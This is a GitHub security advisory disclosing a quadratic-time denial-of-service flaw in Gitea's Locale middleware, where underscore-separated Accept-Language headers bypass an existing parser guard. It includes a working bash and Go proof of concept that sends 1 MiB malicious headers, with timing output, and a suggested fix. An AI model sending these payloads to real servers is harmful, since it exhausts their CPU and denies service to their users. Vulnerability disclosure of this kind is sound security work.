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Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests

High severity GitHub Reviewed Published Jul 13, 2026 in go-gitea/gitea • Updated Jul 21, 2026

Package

gomod code.gitea.io/gitea (Go)

Affected versions

< 1.27.0

Patched versions

1.27.0

Description

Summary

The Locale middleware that runs in front of every unauthenticated request
calls golang.org/x/text/language.ParseAcceptLanguage on the raw
Accept-Language header without imposing a size or shape filter. The
underlying parser has quadratic-time behaviour on long lists of malformed
language tags. The CVE-2022-32149 guard that golang.org/x/text added in
v0.3.8 caps the number of - characters in the input at 1000, but it does
not cap _ characters even though the parser's internal scanner aliases
_ to - before parsing. A single unauthenticated GET request with an
Accept-Language header built out of _ separators burns ~2 seconds of
server CPU on the host running Gitea; ten concurrent attackers saturate a
ten-core box for the duration of the attack while consuming ~1 MiB of
upstream bandwidth per request.

Affected versions

code.gitea.io/gitea 1.22.6 and (per code inspection of main) all
earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that
do not impose their own size limit on the Accept-Language header before
calling ParseAcceptLanguage. Verified on:

  • the official gitea/gitea:1.22.6 docker image (E2E below)
  • main at commit 6f4027a6be28c876c0abaf37cc939658645b78a3 by reading
    modules/web/middleware/locale.go (the call site at line 38 is unchanged
    on main)

Privilege required

Unauthenticated. The Locale middleware runs for every HTTP request
including the landing page and the sign-in page.

Vulnerable code

modules/web/middleware/locale.go:38
(blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):

// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
    tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
    tag := translation.Match(tags...)
    lang = tag.String()
}

req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default
Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not
override it, so the parser is allowed to receive up to a megabyte of
attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters
and rejecting inputs with more than 1000 of them. The guard does not count
_ characters even though the scanner converts _ to - at parse time
(golang.org/x/text/internal/language/parse.go).
A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens
contains zero - characters, passes the guard, and then drives the
scanner into the O(N²) gobble path. The fix author of CVE-2022-32149
treated - as the canonical separator; the _ alias was added in 2013,
nine years before the fix.

How Accept-Language reaches ParseAcceptLanguage

Every Gitea HTTP request passes through Locale as it is wired up via
the global request pipeline (Gitea registers the middleware on its router
in routers/web/web.go). The middleware sequence is:

  1. The request enters Locale(resp, req).
  2. req.URL.Query().Get("lang") returns "" (attacker omits lang).
  3. req.Cookie("lang") returns nil on a fresh client (attacker uses a
    fresh client, or simply does not send the cookie).
  4. req.Header.Get("Accept-Language") returns the full attacker-supplied
    header value.
  5. language.ParseAcceptLanguage(...) runs unfiltered.

No size or character class filter is applied between (4) and (5).

Proof of concept

Single-line bash reproducer that crafts the malicious header and
times one request against a fresh gitea/gitea:1.22.6 container:

docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:13000/

Each 9-character _abcdefghi token has length 9, which fails the
scanner's len <= 8 tag-length check at
golang.org/x/text/internal/language/parse.go and triggers a gobble
call that runtime.memmoves the entire remaining buffer. With N invalid
tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against gitea/gitea:1.22.6)

A Go driver poc.go that boots the container, sends a 1 MiB
Accept-Language value once with - (CVE-2022-32149 guard fires) and
once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:13000/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the
official gitea/gitea:1.22.6 image with no other tuning):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.

Target: http://127.0.0.1:13000/

  warm-up (no header)              header=0 B  '_'=0  '-'=0  status=200  t=18.079666ms

--- measurements (single request each) ---
  baseline (no header)             header=0 B  '_'=0  '-'=0  status=200  t=6.480333ms
  baseline (1 short tag)           header=5 B  '_'=0  '-'=1  status=200  t=5.0455ms
  guard-fires control ('-' x 1MiB) header=1048572 B  '_'=0  '-'=104857  status=200  t=26.020625ms
  attack ('_' x 1MiB)              header=1048572 B  '_'=104857  '-'=0  status=200  t=2.159538333s
  attack repeat 2                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.938493583s
  attack repeat 3                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.679953042s

Interpretation:

Request Header bytes Server time
no header / short tag 0 - 5 1 - 7 ms
1 MiB - separators (CVE-2022-32149 guard fires) 1 MiB 26 ms
1 MiB _ separators (guard bypassed) 1 MiB 1.7 - 2.2 s

The - control proves that the existing CVE-2022-32149 guard does still
work on the canonical separator: a 1 MiB - payload returns in 26 ms
because the parser short-circuits with ErrTagListTooLarge. The _
attack returns 200 from the same endpoint but consumes ~2 s of server
CPU because the guard did not fire and the quadratic scanner ran to
completion.

Impact

  • One unauthenticated client can pin one CPU core for ~2 seconds per 1
    MiB request.
  • Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a
    10-core Gitea instance indefinitely.
  • The endpoint returns 200 OK, so the attack does not surface as
    abnormal traffic in standard 4xx/5xx dashboards.
  • Self-hosted Gitea installations published to the public internet (the
    common pattern) are exposed.

Suggested fix

Apply the size / character-class filter before reaching
ParseAcceptLanguage. The smallest change that preserves the existing
behaviour for legitimate Accept-Language headers is to count _
alongside - and short-circuit when the total exceeds a small ceiling:

// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values

if len(lang) == 0 {
    al := req.Header.Get("Accept-Language")
    if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
        // Refuse to call into the BCP 47 parser with absurd input.
        al = ""
    }
    tags, _, _ := language.ParseAcceptLanguage(al)
    tag := translation.Match(tags...)
    lang = tag.String()
}

A real Accept-Language header from a browser contains under 10
separators, so a ceiling of 32 leaves plenty of headroom while making
the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future
upstream fix is the right long-term solution; the change above is
defensive in depth at the only call site that consumes attacker input.

Credit

Reported by tonghuaroot.

References

@bircni bircni published to go-gitea/gitea Jul 13, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026
Last updated Jul 21, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(26th percentile)

Weaknesses

Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.

Inefficient Regular Expression Complexity

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. Learn more on MITRE.

CVE ID

CVE-2026-58436

GHSA ID

GHSA-fw57-jgch-pgf3

Source code

Credits

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